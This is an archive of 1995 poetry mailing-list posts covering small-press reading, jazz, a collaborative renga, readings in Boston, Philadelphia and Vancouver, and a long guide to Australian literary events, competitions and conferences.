I have what can only be described as a transrational love for Bill Luoma's poem, GOBI, which scrapes interstellar space in THE IMPERCIPIENT #7. While no Luoma stanza can be hummed to "The Yellow Rose of Texas" the sound of birds whistling early Ramones can be heard distinctly in such quatrains as:

big yeska anna billet
clare voler gringa
lunch docket oui blinker ato
cran nowheres un off.

Best surprise while reading (archival): coming upon a little glycene (?) envelope towards the back of the first issue of THE DIFFICULTIES (1980), in which a "y" and an "s" were jutting (minutely) against one another, part of Tom Raworth's "Loose Alphabet."

And many other pleasures: Palmer's AT PASSAGES (New York:New Directions, 1995), Rod Smith's THE BOY POEMS (Washington DC: Buck Downs, 1995), Pat Reed's journal excerpts in BLOO 3 (about teaching English as a foreign language to Asian students), the pieces of DURA by Myung Mi Kim that appear in recent numbers of SULFUR and CONJUNCTIONS, Dodie Bellamy's "final" (?!) Mina Harker letter in the regrettably typo-ridden RIVER CITY (Summer

1995), Bruce Andrews's DIVESTITURES (especially "E," from Leave back in 1993 I think) and STRICTLY CONFIDENTIAL, Brian Schorn's STRABISMUS just out days ago from Burning Deck....

What did Schuyler say, "I salute that various field"

Steve Evans

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1001. **George Bowering**
Re: "getting" jazz
Wed 30 Aug 1995

I think Steve's right; there is just something that gets certain people re jazz. I was a honky kid growing up in an orchard town in B.C., and I loved jazz more than any other music when I was, I dunno, eleven, I guess. Of couirse in them days there was lots of jazz on A.M. radio. No one else in my family could ever hear anything in it. My mother couldnt even understand how Louis Armstrong's singing could be called singing. Of course, she couldnt understand what was funny about "Pogo" either.

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1002. **George Bowering**
Re: Renga
Wed 30 Aug 1995

> *In the books were dreams and in the dreams were books.>*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance*
> *(inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*

mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho,
kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
warehouse, curls
no ideas but the woven fabric the texture so to speak was at the
dry cleaners
piping hot and gloved-in somewhere unsalted, perched on
prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose
encore
Flaubert because we're waiting all throughout eternity for
moments to be
of such suchness. In the nooks were creams and in the streams
were hooks.
All melded like striated film leftover in the pastel seeds of
darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft
fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to
go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool

↑ Index

1003. **Ron Silliman**
Re: Laughlin/Corbett
Wed 30 Aug 1995

You wrote:
>
>On the same day that Bill Corbett and James Laughlin read in Boston,
>we'll have Rae Armantrout reading in Providence. Alas, cloning seems
>an unlikely solution to making it to both readings...
>
>Gale Nelson
>
Rae will be reading at Penn on the following day, Friday, September 15.
The event of the autumn here in Philadelphia. Bob Perelman (who will be
back on line next week he tells me) will have the details.

Ron

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1004. **Ron Silliman**
Re: wac
Wed 30 Aug 1995

My mother apparently contemplated joining the WAVES briefly before I came along right at the end of WW2.

Keanu Reeves is an interesting case. There is a long tradition of leading men who were remarkably awkward and "non actorly" on the screen, but mostly they have been macho types (John Wayne, who couldn't act his way out of a paper bag, Robert Mitchum, Broderick Crawford in a more character actor type). Keanu brings a vulnerability to the "deer caught in the headlights" school that is new.

Winona is becoming the actress that Molly Ringwald shoulda been.

Ron

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1005. **Gwyn McVay**
Re: Subjects
Wed 30 Aug 1995

A couple of people have asked: The listserv CREWRT-L, Creative Writing in Education for Teachers and Students, can be subscribed to in the usual way in

care of [redacted]. Be warned: this is a *very* high-volume list with a great deal of chitchat mixed in and around the writing discussions.

Gwyn McVay
[redacted]

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1006. **Gale Nelson**
Re: Millay
Wed 30 Aug 1995

Nancy Milford, author of _Zelda,_ a biography of Zelda Fitzgerald, recently completed a biography of Edna St. Vincent Millay. We'll have to wait to see the results...

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1007. **H. T. KIRBY-SMITH**
Music and the Renga
Wed 30 Aug 1995

I just this minute learned that a certain Guido of Arezzo, round about the year 1025, invented a way of combining poetry and music. He made each of the vowels equivalent to a note on a scale: a=C, e=D, i=E, o=F, and u=G.

All you do is sing each syllable according to the right pitch. So if anyone wants to set the Renga to music--well, there you go!

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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1008. **Daniel Bouchard/College/hmco**
Re: Music and the Renga
Wed 30 Aug 1995

I just this minute learned that a certain Guido of Arezzo, round about the year 1025, invented a way of combining poetry and music. He made each of the vowels equivalent to a note on a scale: a=C, e=D, i=E, o=F, and u=G.

All you do is sing each syllable according to the right pitch. So if anyone wants to set the Renga to music--well, there you go!

I'd like to hear hear him sing his own name.

-dan bouchard

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1009. Mark Roberts
AWOL: September Happenings
Wed 30 Aug 1995

SEPTEMBER HAPPENINGS
A monthly guide to writing events around Australia.

AUSTRALIAN WRITING ON LINE

PO Box 333 CONCORD NSW 2137 AUSTRALIA
email: [redacted]
Phone: (02) [redacted] fax (02) [redacted]

AWOL Happenings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL.

AWOL is also setting up a virtual bookshop for Australian small magazines and presses. This will take the form of regular newsletters (which will be available both on the net and by mail and fax) that will pre/review new publications. These titles will then be able to be ordered by mail or fax. Associated with our Virtual Bookshop is our Sydney distribution service for small presses. Please contact us for further details if you want to distribute your publication to bookshops in Sydney.

AWOL posts are archived on the WWW at the following address http://www.anatomy.su.oz.au:80/danny/books/AWOL/ then click on Australian Writing OnLine.

How to receive AWOL postings

Internet

All AWOL postings, including the monthly Happenings list, one off posts about special events, the latest literary magazines magazines and small press books, together with information about AWOL's Virtual Bookshop, are available free to subscribers with an internet address. Simply send a post, asking to be added to our mailing list, to [redacted].

Mail

Each month AWOL will post a hard copy of that months Happenings list, together with a copy of all special posts, to AWOL subscribers. While we are setting up our Virtual Bookshop there will be a introductory charge of $12.50

(for six months) to cover postage and printing costs (rates will be reviewed early in 1996). Please send cheques, made payable to Rochford Press, to AWOL, PO Box 333, Concord NSW 2137 (overseas rates on application).

Fax

Subscribers in the 02 telphone area can elect to have the monthly Happenings list and special posts faxed to them for $5.00 for six months. please send cheques, made payable to Rochford Press to AWOL, PO Box 333, Concord NSW 2137. Subscribers outside the 02 area should contact us for individual fax rates.

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NSW

SYDNEY

READINGS BOOK LAUNCHES

Every Tuesday...POETRY SUPREME 9pm, Eli's Restaurant, 132 Oxford Street, Darlinghurst. Details phone/fax (02) [redacted].

Every Sunday...THE WORD ON SUNDAY 11.30am Museum of Contemporary Art, Circular Quay. 2 Admission $8/ $5. 3 Sept Judith Fox, 10 Sept Susan Geason, 17 Sept Angus & Robertson Fiction prize winner. Details phone (02) [redacted].

Every Thursday...POETRY ALIVE 11am-1pm, Old Courthouse, Bigge Street, Liverpool. Details phone (02) [redacted].

1st and 3rd Wednesday ...POETS UNION 7pm, The Gallery Cafe, 43 Booth Street, Annandale. Details phone (02) [redacted].

1st Friday...EASTERN SUBURBS POETRY GROUP 7.30pm, Everleigh Street, Waverly. Details phone (02) [redacted].

1st Tuesday...ICEBREAKERS GAY POETRY 8pm, 197 Albion Street Surry Hills. $2 includes free coffee. Details phone Noel Tointon (02) 3172257.

2nd & 4th Saturday...GLEEBOOKS READINGS 2pm, Gleebooks, 49 Glebe Point Road, Glebe. Details Nick Sykes (02) [redacted].

3rd Sunday...POETRY WITH GLEE: THE POETS UNION AT GLEEBOOKS. 2-4pm, 49 Glebe Point Road, Glebe. Admission $5/$2 Details Nick Sykes (02) [redacted].

4th Monday of each month...FUTURE POETS SOCIETY 8pm, Lapidary Club Room, Gymea Bay Road, Gymea. Details phone Anni Featherstone (02) [redacted].

4th Wednesday...LIVE POETS AT DON BANKS MUSEUM 7.30pm, 6 Napier Street North Sydney. Guest reader plus open section. Admission $6 includes wine. Details phone Sue Hicks or Danny Gardiner (02) [redacted].

A CELEBRATION OF AUSTRALIAN LITERATURE at the University of Western Sydney, Nepean Campus. Sunday 17 September 1995 10am - 3.30pm. Celebrating Australian Literature by established writers, writers of today and tomorrow. Meet Allan Baille, Libby Gleeson, John Marsden, Maureen People, Mary Small and Steven Herrick. Learn about illustrating from Kerry Millard, about helping children read, about using Australian literature in the classroom and about publishing books for children. Details phone Mary Morrissey on the festival hotline (02) [redacted].

Poets Union / State Library Workshops at the State Library Macquarie Street Sydney 4th Saturday . September 23 Alan Jefferies, October 28 John Bennett, November 25 Luke Davies Poets Union Inc. or The Library Society members $20 per workshop Non-members $25 per workshop. Details phone [redacted].

September 28 8pm Writers at the River, Roscoes Riverside Restaurant, Penrith, NSW. 'Cause and Effect Theme' featuring Bernard King. Open Section included. Details contact Carl Leddy (047) 21 2087.

Coming up in October (28/29) Writers at the River at the Penrith City Festival - The Wonder of Words Weekend. Writers/Performers include Steven Herrick, John Derum, Anthony Lawrence, Peter Minter & Patricia Gaunt. Details contact Carl Leddy (047) 21 2087. More details will appear in the October Happenings.

NSW WRITERS' CENTRE EVENTS

WOMEN WRITERS' NETWORK 2nd Wednesday. 7.30pm, NSW Writers' Centre. Details Ann Davis (02) [redacted].

FEMINIST & EXPERIMENTAL WRITERS' GROUP meets every second Friday 6.30-9.30pm. Details Margaret Metz (02) [redacted] or Valerie Williamson for details of venues.

BILL IDEN's first book of poetry The High Price of Eating Out, will be launched by Ann Davis at the NSW Writers Centre on September 15 at 7pm

WOMEN WRITING Saturday September 23 9.30am - 5pm. UK based Australian poet and novelist Gillian Hanscombe will be running this workshop which will examine the following questions: Do women write differently? How to edit your work, Writing wrongs and how to write love letters. Cost $60 (members NSWWC) $80 (non members). Bookings contact NSWWC (02) 5559757 or fax (02)8181327.

SPRING WRITING WEEKEND a two day literary festival featuring a mix of established and emerging writers. September 16-17 at the NSWWC. Writers include Justine Ettler, Penelope Nelson, Matthew Condon, Sue Woolfe, Judith Fox, Hazel Smith, Ruby Langford Ginibi, Judith Beveridge, Morris West, Fotini Epanomitis, Antigone Kefala, Anna Kokkinos, Tim Thorne, Bruce Dawe, Don

Anderson, Drusilla Modjeska, Frank Moorhouse, Dale Spender and many others. For further details contact NSWWC Phone (02) 5559757 or fax (02)8181327.

Unless otherwise stated all NSW Writers' Centre events are held at the Centre in Rozelle Hospital Grounds, Rozelle. Enter from Balmain Road opposite Cecily Street and follow the signs.

REGIONAL NSW

ARMIDALE 1st Wednesday 7.30pm, Rumours Cafe in the Mall. Details phone James Vicars (067) 73 2103.

WOLLONGONG 2nd & 4th Tuesday 7.30pm, Here's Cheers Restaurant, 5 Victoria Street, Wollongong. Details phone Ian Ryan (042) 84 0645.

LISMORE 3rd Tuesday 8pm. Stand Up Poets, Lismore Club, Club Lane. Details phone David Hallett (066) 891318.

NEWCASTLE / HUNTER VALLEY

3rd Monday... Poetry at the Pub. Northern Star Hotel, 7.30pm Beaumont Street Newcastle Street $2/$1. September features Springwood Poets. Details phone Bill Iden (049) 675 972

September 23 3pm at the Joy Cummings Centre, corner Pacific Highway and Scott Street Newcastle. Newcastle launch of Bill Iden's first book of poetry The High Price of Eating Out. Details phone Bill Iden (049) 675 972

MAITLAND Poetry group 4th Friday 7.30, Literary Institute in Banks Street East Maitland. 22 September Celtic night. $2. Details phone Bruce Copping (049) 301497.

WAGGA WAGGA

2/3 September Tony Reeder is presenting his Life Stories Writing Workshop for aspiring writers, (auto) biographers, etc. Both afternoons will be taken up. Cost $35.00 Enqiries (069) 332465.

Tuesday 5 September at 8 pm, Firenze Restaurant, RICHARD ALLEN & KAREN PEARLMAN, poets/dancers will perform some of their recent word/text work. Exciting both visually and verbally. Admission $8 and $6 (Members of Wagga Wagga Writers Writers get in for $5).

15 - 24 September. Inaugural FESTIVAL OF THE VOICE in Wagga, featuring performance poets (eg Myron Lysenko, Lauren Williams, Grant Caudwell, Kerry Scuffins etc), troubadours, musos in a multitude of venues. Loads and loads of vocal and verbal activity. For info contact Roger Ansell, ph (069) 235705.

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QUEENSLAND

Queensland Writers Centre Events

EXCITING WRITING: READINGS OF NEW WORKS AT THE QUEENSLAND WRITERS' CENTRE

Tuesday 3 October. 7pm. As part of Warana Writers' Week The Queensland Writers' Centre Presents an evening of writing excellence at Grand Orbit, 1 Eagle Street, The Pier, City with Andrew McGahn, Robbie Lappan, Matthew Condon, Fran Ross, Marcus Gibson, Michael Richards (including a preview of his upcoming QTC production ' Christmas at Turkey Beach'). 'Paradise to Paranoia' an anthology featuring many of the featured writers will be launched by Laurie Muller and Marion Halligan. Tickets must be booked before the event. Contact QWC for further details phone (07) 8391243.

Saturday 7 October 8.30am Romance Writers of Australia One Day Conference at Lennons Hotel, Queen Street Mall, Brisbane. Speakers include Helen Bianchin, Lu Cairncross, Kath Filmer Davies, Emily French and Meredith Webber. Details phone (07) 3821 1373.

NOW AVAILABLE FROM THE QUEENSLAND WRITERS' CENTRE..... HANDBOOK FOR QUEENSLAND WRITERS.

Contents include Preparation, Representation, Professional Issues and Development and Funding. Cost $10 plus $1.50 postage for QWC members 0r $15 plus $1.50 for non members. For more information contact the QWC.

WARANA WRITERS WEEK 1995
Sunday October 1 - Thursday 5 October.

Daily program in the Brisbane Customs House, evening events at various city venues. Interstate visitors include Penelope Nelson, Damien Broderick, Thomas Shapcott, Justine Ettler, Marion Haligan, Nick Enright, Gilian Hanscombe, Victor Kelleher, Ursula Dubosarsky, Patsy Adam-Smith, Rosemary Dobson and Fay Zwicky who will join many Queensland writers of fiction, biography, poetry and drama including Helen Demidenko/Darville, Venero Armanno, Jay Verney, Daynan Brazil, Hugh Lunn, Michael Noonan and Estelle Pinney among others.

Highlights include the Awards Dinner in the Customs House on Sunday 1 October where the Steele Rudd Award, the David Unaipon Award, the Premier's Poetry Award, the City of Brisbane Short Story Award and the State Library Young Writers Award will be presented.

The Festival program will be available from early September from Brisbane libraries, Queensland Writers' Centre, selected newsagents and booksellers, Brisbane City Council Information Centres and the Warana Offices. Or phone the Warana Hotline on (07) 38522468.

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NORTHERN TERRITORY

The Northern Territory Community Writing Program presents 'Word & Breath: A celebration of Poetry from any Nations' (incorporating the 1st Northern Territory Aboriginal Writers' Convention). Darwin 1 - 10 September.

Word & Breath will draw together writers from throughout the Northern Territory and beyond to celebrate and explore the spoken word and its significance to people from a range of cultural backgrounds. Events will incorporate the reading and recital of poetry and short stories, storytelling sessions by NESB creators (both Aboriginal and non-Aboriginal), and the performance of music and dance reflecting the survival of cultural traditions in the modern world.

Interstate writers visiting Darwin during the festival will include Komminos, Antigone Kefala, Herb Wharton, Barry Hill and Terry Whitebeach. A number of Central Australian writers will also be visiting including Aboriginal novelists Alexis Wright and Kenny Laughton, poets Herbie Laughton, Lana Quall and Sylvia Neal and songwriter Boby Randall. Local Darwin writers appearing include writers from Bengali, East Timorese, Estononian, Flipino, French, Greek, Indian, Italian, Papuan, South African, Sri Lankan, Thai and Vietnamese origin. There will also be regular Darwin writers/performers including Karyn Sassella, Steve Holliday, Ann Parry, Crinkle Steward, Anita Carcour, Noodle E String, Natalie Sprite and Brian Bailey.

The Word & Breath Festival will be launched at the Old Town Hall Ruins on the evening of 1 September . Events during the festival include 'Poetry on the Rocks' (Dudley Point) each weekday evening at 6pm, Palm City Poetry at Brown's Mart from 7.30pm on Wed. 6 September and a Poetry Fair in the Botanic gardens on Saturday 9 September. The festival will close with One Last Blast at Stokes Hill Wharf on Sunday 10 September.

Over the four days of the festival the 1st Northern Territory Aboriginal Writers' Convention will also take place in Darwin.

For further details contact Andrew McMillan, Literature Officer Northern Territory Community Writing Program, GPO Box 1774, Darwin NT 0801, phone/fax (089) 412651.

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VICTORIA

MELBOURNE

Last Friday 6.30pm MELBOURNE POETS Meeting and reading/workshop The Hawthorn Lower Town Hall, 360 Burwood Road, Hawthorn (entry and car

parking at rear). 6.30pm meeting begins, 7.30pm reading/ workshop begins. Cost $3 (Members), $5 (non members). Details write to Martin French 1/16 Kent Road Surrey Hills Vic 3127.

VICTORIAN WRITERS' CENTRE EVENTS

The Victorian Launch of SCARP/Five Islands Press New Poets series 3 will be held at the Victorian Writers' Centre 156 George Street Fitzroy on Saturday 2 September at 6pm. The writers in Series three are MTC Cronin, Karen Attard, Lisa Jacobson, Peter Minter, Sue Nichols and Mark Reid. Details phone VWC (03) [redacted]

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TASMANIA

GARY DISHER'S TASMANIAN TOUR.

Saturday 2nd September. Reading and workshop in Stanley. Numbers are limited and you are advised to contact Bruce Roberts on ph 004 423543 to check availability.

Saturday 2nd 1.30pm. September. Reading in Ulverstone for the North West Tasmanian FAW. Details ph Bruce Roberts 004 423543.

Sunday 3rd September 6.30pm. Dinner and Reading at Donna's Restaurant, Davenport. Details Glynis Donnelly, Tasmanian Arts Council ph 004 245497.

**

Wednesday 4th September there'll be a Tasmanian Writers' Union (TWU) reading at the Bavarian Tavern 28 Liverpool Street Hobart at 7.30 pm. featuring three of the readers from the Tasmanian Poetry Festival: Matt Simpson (U.K.), Jenny Boult and Chris Mansell. Cost $8/$5 conc. Details phone TWU (002) 240029.

22nd September, Vivien Smith and Stephen Edgar will read for the TWU at the Old Magistrates Court, in Main Street Richmond, at 6pm. Entry by donation. Details phone TWU (002) 240029.

The Tasmanian Poetry Festival takes place at Launceston from 29th September to 1st October Readers include Matt Simpson (UK), John Harding, Chris Mansell, Dennis Kevans, JS Harry, Dipti Saravanamuttu, June Perjins, Marilyn Arnold, Jenny Boult, Bruce Penn and Tim Thorne. Also open readings, young writers' reading, bookstall and the famous Launceston Poetry Cup - Australia's oldest and most prestigious performance poetry competition - on Saturday night 30 September at the Launceston Novotel. Further information from the director, Tim Thorne, on (003) 319658 (phone/fax) or from PO Box 345 Launceston Tas. 7250.

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COMPETITIONS

15 SEPTEMBER: UNIVERSITY OF THE THIRD AGE CENTRAL COAST REGION AUSTRALIA AND NEW ZEALAND LITERARY COMPETITION 1995

Section 1 Short Story min 500 max 2000 words). Section 2: Article (min 500 max 1500 words). $3 per entry. No postal orders or cash. Cheques payable to U3A Central Coast Region.

No limit number of entries but entry fee for each entry. Prizes each section: 1st: $150 2nd: $75 3rd: $50. No entry forms required but COMPETITION CONDITIONS must apply to ensure entry will be judged. All entrants must be financial members of U3A at time of sending in MSS. Indicate section for which it is intended. Staple pages together. SSAE of sufficient size and postage for return of MS and results slip. U3A does ant accept responsibility for the non-arrival or the loss of MSS. Send entries to: The Convenor. U3A Literary Competition, 1 Shopping Village. Saratoga NSW 2251. Winners will he notified and results announced by 31/12/95.

29 SEPTEMBER: BLUE MOUNTAINS FAW

Theme The Blue Mountains. Short Story to 3000 words and Limerick Section. No entry forms required but send SSAE for details and conditions before submitting entries. Entry fee: $3. Competition conditions must apply to ensure entry is judged. No handwritten manuscripts. $500 plus in prizes. PO Box 125 Springwood NSW 2777.

30th SEPTEMBER: FAW NSW Inc 1995 MARJORIE BARNARD AWARD:

Prize $500 for a Short Story of not more than 3000 words, Entrants must be permanent residents of Australia. Entries should be typed on A4 paper, in English double spaced on one side only with good margins. Real name not to appear on MS but an a separate title page with address and phone number. Work should be original. unpublished and not having won any competition at time of entry. No entries will be returned instead they will be shredded and the paper recycled. Judges decision will be final and no correspondence will be entered into. The Award will be presented at the Annual Luncheon in November and results published in December issue of Writers Voice. Entry Fee $3. Send to: Competition Secretary. PO Box 5 Blakehurst NSW 2221

20 OCTOBER: MELBOURNE POETS NATIONAL POETRY COMPETITION

Prizes to the value of $500. Judged by Judith Rodriguez. $3.00 entry fee. Entries to 'The Melbourne Poets National Poetry Competition', c/ Martin French, 1/16 Kent Road, Surrey Hills, Victoria 3127. Poems should be previously unpublished, they can be on any theme, they should be typed, no longer than 20

lines and should be accompanied by a cheque or money order of $3 per poem. There is no limit to the number of entries any individual can make. Each poem should be accompanied by an entry form (contact organisers). The poet's name should not appear on the page with the poem. For further details contact Melbourne Poets at the above address.

30 OCTOBER ULITARRA SHORT STORY COMPETITION.

For details on this competition contact Ulitarra magazine at PO Box 392 French's Forest NSW 2086.

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CONFERENCES

EUROPEAN ASSOCIATION FOR STUDIES ON AUSTRALIA

Third conference: Copenhagen, October 6-9, 1995

Conference theme: Inhabiting Australia: The Australian Habitat and Australian Settlement.

The conference aims to bring together contributions from a wide range of disciplines, from architecture to zoology. Papers which take up the theme from cultural, historical, social, scientific, literary and other perspectives are invited.

Further information available from Conference organisers:

* Bruce Clunies Ross (45) 35 32 85 82 internet: [redacted] * Martin Leer (45) 35 32 85 87 internet: [redacted] * Merete Borch (45) 35 32 85 84 internet: [redacted]

Copenhagen University, Department of English Njalsgade 80, DK-2300 Kobenhavn S Phone. (45) 35 32 86 00 Fax (45) 35 32 86 15

* Eva Rask KnudsenWiedeweldtsgade 50, st. 2100 Copenhagen O. (45) 35266025

SYMPOSIUM: (POST) COLONIAL FICTIONS: RE-READING ELIZA FRASER AND THE WRECK OF THE STIRLING CASTLE.

University of Adelaide, 25-26 Nov., 1995.

Contact: Kay Schaffer, Department of Women's Studies, 08 [redacted] direct, 08 [redacted] FAX, e-mail: [redacted]

Post-colonial studies within Australia have attempted to re-evaluate and re-write colonial history to include those people either marginalised or subjugated by the colonial process. This two day symposium will explore a different aspect of post-colonial discourse through the exploration of one of the best known events in Australian colonial history. In 1836 the 'Stirling Castle' was wrecked off the Queensland coast and many of the crew together with the Captain's wife, Eliza, were marooned on Fraser Island. Events surrounding the rescue of the

castaways, in particular Mrs. Fraser, received international media attention. In the last 160 years the story of Eliza Fraser has become the subject of popular myth, fiction, opera, art, film and scholarly research in the areas of cultural studies, literature, history, anthropology, archaeology, women's studies, and the visual arts. (Post) Colonial Fictions will examine critically the Eliza Fraser saga by bringing together, for the first time, an interdisciplinary team of academics, authors, artists and members of the Fraser Island community. Discussions will include feminist analyses of the incident, textual and iconographic representations of Aboriginal people, and Eliza Fraser as a creative inspiration for the arts.

Speakers on 19th century ethnography, visual arts, and Fraser Island history include: Ian Mc Niven, Lynette Russell, Rod McNeil, Olga Miller, Elaine Brown; on 20th century cultural studies and Batdjala representations include: Kay Schaffer, Sue Kossew, Jim Davidson, Jude Adams and Fiona Foley. We are hopeful that the symposium will include an exhibition of Fiona Foley's works and a performance by University of Adelaide Conservatorium of Music students of the theatre opera: "Eliza Fraser Sings" (arranged by Peter Sculthorpe/libretto by Barbara Blackman).

AUSTRALIAN STUDIES AND THE SHRINKING PERIPHERY: SURFING THE NET FOR AUSTRALIA.

The Centre for Australian Studies in Wales, University of Wales, Lampeter, are hosting this conference next year. Organisers are calling for papers.

"In recent years the consolidation of Europe into the 15 states of the EU, the integration of east and west within Europe, and the progressive turning of Australia to its own Pacific backyard have furthered the impression of periphery: one world's edge looking distantly at the other."

The contacts are:

Dr Graham Sumner and Dr Andrew Hassam
Centre for Australian Studies in Wales
University of Wales
Lampeter
Dyfed, SA48 7ED,
Wales, UK.

Telephone: Graham Sumner [redacted] or 424790 (secretary) Fax: [redacted] Andrew Hassam [redacted] (secretary) Fax [redacted] E-mail: [redacted] or [redacted] Offers of papers should reach the organisers by 31 December 1995, and comprise a full title and an abstract of no more than 100 words.

Further information will be sent when available, and will appear on the Centre's WWW home-page (htp://www.lamp.ac.uk/oz).

INTERNATIONAL P.E.N. 62nd WORLD CONGRESS

26 October - 1 November, 1995 at the Esplanade Hotel, Fremantle, W.A.

This Congress will be one of the most important literary and cultural events ever staged in Australia. The Congress will seek to explore the issue of freedom of speech in relation to different cultural contexts. It will also include literary readings, discussions and performances of Aboriginal culture, an International Quiz Night, a Hypothetical and many events designed to be fun!

Speakers will include Ronald Harwood (England), Goenawan Mohamad (Indonesia), Keki Daruwalla (India), George Aditjondro (Indonesia), Satendra Nandan (Australia-Fiji), Samina Yasmeen (Australia-Pakistan), Beth Yahp (Australia-Malaysia), Andrey Voznesensky (Russia), Ilsa Sharp (Australia-Singapore), Sally Morgan and Jill Milroy, Elizabeth Jolley, Judith Rodriguez, Tom Shapcott, and many more. The Congress is open to anyone interested in literature and culture, and in the issue of Freedom of Speech. For the full program and other details, please contact Promaco Conventions, Ph. 09. [redacted], Fax 09.[redacted]; or your local PEN Centre, or the Perth PEN Centre, PO. Box 1131 Subiaco, Australia 6008, Ph. & Fax: 09.[redacted]. Expressions of interest in membership of PEN are also warmly welcomed, and should be addressed to the PEN Centre. PEN works for freedom of speech and on behalf of writers in prison.

A FESTIVAL OF AUSTRALIAN CHILDREN'S LITERATURE "COUNTRY VICTORIA CELEBRATING THE GOLDEN JUBILEE OF THE CHILDRENS' BOOK COUNCIL OF AUSTRALIA"

Saturday September 16th to Tuesday September 19th

To celebrate 50 years of the CBC, Latrobe University, Bendigo is holding a Festival of Children's Literature, offering sessions for all people interested in children's books, writing and illustration.

The program features addresses and workshops with major figures in Australian Children's Literature such as Maurice Saxby, Lilith Norman and Agnes Nieuwenhuizen, authors Margaret Aitken and James Moloney, and illustrators Noela Young, Terry Denton and Geoff Hocking.

A curated exhibition of the work of Noela Young ("The Muddle-headed Wombat", "An Older Kind of Magic", "Pigs might fly" ...) and of Terry Denton ("The Paw", "Mr Plunkett's Pool", "Spooner or Later"...) will provide a centrepiece of the Festival and will be available for public viewing all week.

The Festival will be opened by Maurice Saxby at a cocktail party at the exhibition on Saturday evening, with a display of 50 years of winners of the CBC Book of the Year awards as well.

Sunday will see papers on Children's Literature from Maurice Saxby, Lilith Norman and Terry Denton, and workshops featuring Noela Young, Terry Denton and Geoff Hocking. Lunch is included.

Monday has sessions for schools from *No Mates Drama in Action* during the day, and a lively panel discussion on the current state of Australian Children's Literature in the evening. Margaret Aitken, Terry Denton, James Moloney, Lilith Norman, Maurice Saxby and Noela Young will be on the panel.

On Tuesday, schools will be able to choose from more *No Mates* action or from two *Bookgigs* - Terry Denton discussing "The Paw" with primary students and James Moloney discussing "Gracey" with secondary students. The Festival winds up on Tuesday evening with Agnes Nieuwenhuizen talking about Young Adult fiction.

Tickets for the whole Festival ($100) or various parts (various prices) are now available!

For further information contact David Beagley at Learning Resource Centre Latrobe University, Bendigo PO Box 199, Bendigo phone (054) 447334 Victoria, Australia 3550 e-mail [redacted].

THE IRISH CENTRE FOR AUSTRALIAN STUDIES: AUSTRALIAN STUDIES CONFERENCE

The Irish Centre for Australian Studies will be holding an Australian Studies Conference in Dublin from 3-6 July 1996. The three major streams will be history, culture and the environment. For further details contact David Day Professor of Australian History Department of Modern History University College Dublin Ireland.

********** ****

While AWOL makes every effort to ensure the accuracy of Happenings listing we suggest you confirm dates, times and venue.

AWOL would like to thank the following organisation who provided information for this list: NSW Writers Centre, Queensland Writers Centre, Tasmanian Writers' Union, AusLit discussion group (internet), WIPround (Women in Publishing), Northern Territory Community Writing Program, FAW WWW LINK (http://www.ozemail.com.au:80/~faw/) and the other individuals and organisations who supplied information about their events directly to AWOL.

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1010. **Lisa Robertson**
Vancouver this fall
Wed 30 Aug 1995

BOB PERELMAN AT THE KOOTENAY SCHOOL OF WRITING: OCT 13 - 15

CultureWriting

"It's
No longer an age of transition, your prophecies
are driven deep into jargon, there is no standard
so purifying the world you speak all day,
hours of air, more things fall."
(Song)

Poetry can function as a discursive struggle to transform the relation of forces inside society. Cultural "battles" erupt for stronger social identities and better access to the public domain of the "real". Has the utopian notion of identifying with the world accomplished anything more significant than a greater variety of retail services in the mall? If alternatives exist, do they merely lead to a more dispersed network of powerless micro-political agencies?

These questions and more will be explored in a special two day workshop on aesthetics and social opposition, a cultural theme that can be traced from Olson's modernisms to the pleasure politics of contemporarty utopian poetics. Seeking to inspire an in-depth discussion on contemporary writing spaces, Perelman will focus upon such important concepts as "the pastoral" in all its up-to-date retro-modes and the production a space as "field, as it appears in Olson's "composition by field: and in bourdieu's notion of "literary field".

This will be a two evening seminar, Oct. 13 & 14, 7 - 9pm
Perelman will also read from his work sun Oct 15, 3pm
For more information: Andrew Klobucar, Kootenay School of writing, 112 w. Hastings St., Vancouver, B.C. V6B 1G8 [redacted]

under development: KSW Web homepage

RADDLE MOON 14 now available. Contents: Perelman Essay --A false account of
talking with Frank O'Hara and Roland Barthes in Philadelphia, and the long(ish)
poem "The Manchurian Candidate: a remake"
Also, work by Deanna Ferguson, Kevin Davies, Melissa Wolsak, Anne Tardos and
Yasmin Ladha. Cover Art Judy Radul. Orders to 2239 Stephens St, Van, V6K 3W5, or
for quicker response email me [redacted] Single issue

$7;
sub, $12, $17 institutions.

FORTHCOMING FROM TSUNAMI
Mouthpiece, by Kathryn MacLeod

McLeod's work has appeared in Avec, Big Allis, Raddle Moon and WestCoastLine, as
well as in her chapbooks How To, (tsunami, '87), and ...a little closer (pomflit
'92)

"This time, rebuilt. A vital walk. A very long story, a holiday, our needs met.
